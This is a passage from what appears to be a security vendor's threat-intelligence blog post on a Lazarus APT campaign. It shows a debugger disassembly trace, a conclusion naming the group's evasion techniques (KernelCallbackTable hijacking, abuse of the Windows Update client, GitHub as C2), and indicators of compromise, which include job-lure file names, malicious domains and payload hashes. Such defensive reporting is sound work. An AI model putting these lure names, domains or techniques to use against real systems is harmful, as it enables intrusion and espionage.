0:001:0x7ffb7fd01c70 0f8fc6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c76 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c79 4d85d2          test r10,r10
0:001:0x7ffb7fd01c7c 0f84bffffffff   jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c82 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c85 4d3bd1          cmp r10,r9
0:001:0x7ffb7fd01c88 0f8fb6fffffffff jg ntdll!LdrpDispatchUserCallTarget+0x66 (00007ffb`7fd01886)
0:001:0x7ffb7fd01c8e 4d8b12          mov r10,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd01c91 4d85d2          test r10,r10
0:001:0x7ffb7fd01c94 0f84afffffffff  jz ntdll!LdrpDispatchUserCallTarget+0x4a (00007ffb`7fd01870)
0:001:0x7ffb7fd01c9a 4d8b0a          mov r9,[r10]{1:0x1000000:0x00000000`00000000 ...}
0:001:0x7ffb7fd
```

Figure 19: Connection with past campaigns

Conclusion

Lazarus APT is one of the advanced APT groups that is known to target the defense industry. The group keeps updating its toolset to evade security mechanisms. In this blog post we provided a detailed analysis about the new campaign operated by this actor. Even though they have used their old job theme method, they employed several new techniques to bypass detections:

- Use of *KernelCallbackTable* to hijack the control flow and shellcode execution
- Use of the Windows Update client for malicious code execution
- Use of GitHub for C2 communication

IOCs:

Maldocs:
0d01b24f7666f9bccf0f16ea97e41e0bc26f4c49cdfb7a4dabcc0a494b44ec9b
Lockheed_Martin_JobOpportunities.docx

0160375e19e606d06f672be6e43f70fa70093d2a30031affd2929a5c446d07c1
Salary_Lockheed_Martin_job_opportunities_confidential.doc

Domains:
markettrendingcenter.com
lm-career.com

Payloads:

Name	Sha256
readme.png	4216f63870e2cdfe499d09fce9caa301f9546f60a69c4032cb5fb6d5ceb9af32
wuaueng.dll	829eceee720b0a3e505efbd3262c387b92abdf46183d51a50489e2b157dac3b1
stage1_winword.dll	f14b1a91ed1ecd365088ba6de5846788f86689c6c2f2182855d5e0954d62af3b
stage2_explorer.dll	660e60cc1fd3e155017848a1f6befc4a335825a6ae04f3416b9b148ff156d143
drops_lnk.dll	11b5944715da95e4a57ea54968439d955114088222fd2032d4e0282d12a58abb
stage3_runtimebroker.dll	9d18defe7390c59a1473f79a2407d072a3f365de9834b8d8be25f7e35a76d818
core_module.dll	c677a79b853d3858f8c8b86ccd8c76ebbd1508cc9550f1da2d30be491625b744
GetBaseInfo.dll	5098ec21c88e14d9039d232106560b3c87487b51b40d6fef28254c37e4865182

Related

Lazarus APT conceals malicious code within BMP image to drop its RAT
April 19, 2021
In "Threat Intelligence"

The Advanced Persistent Threat files: Lazarus Group
March 12, 2019
In "Criminals"

APTs and COVID-19: How advanced persistent threats use the coronavirus as a lure
April 9, 2020
In "Threat analysis"

SHARE THIS ARTICLE

COMMENTS

Leave a Reply

You must be logged in to post a comment. Click here to login or connect a social media account to leave a comment.

RELATED ARTICLES

THREAT INTELLIGENCE

Patchwork APT caught in its own web

January 7, 2022 - The Patchwork APT, an Indian group targeting Pakistan exposes themselves with their own RAT

CONTINUE READING

No Comments

EXPLOITS AND VULNERABILITIES

Patch now! FatPipe VPN zero-day actively exploited

November 18, 2021 - The FBI has revealed that APT actors have been abusing a zero-day in FatPipe's MPVPN, WARP, and IPVPN products since May.

CONTINUE READING

No Comments

THREAT INTELLIGENCE

A multi-stage PowerShell based attack targets Kazakhstan

November 12, 2021 - We uncover a new attack delivered via a number of PowerShell scripts to deploy Cobalt Strike.

CONTINUE READING

No Comments

EXPLOITS AND VULNERABILITIES

FBI and CISA warn of APT groups exploiting ADSelfService Plus

September 17, 2021 - APT actors are exploiting a recently-discovered flaw in ManageEngine's self-service password management product.

CONTINUE READING

No Comments

THREAT INTELLIGENCE

Kimsuky APT continues to target South Korean government using AppleSeed backdoor

June 1, 2021 - Kimsuky, the North Korean threat actor active since 2012, is still targeting the South Korean government. We take a look at the phishing infrastructure and command and control mechanisms of this APT.

CONTINUE READING

No Comments

Contributors | Threat Center | Podcast | Glossary | Scams | Write for Labs

Who doesn't like cookies?
We use cookies to help us enhance your online experience. If that sounds good, click "Accept All Cookies" or review our Privacy and Cookie Policy.
✓Accept All Cookies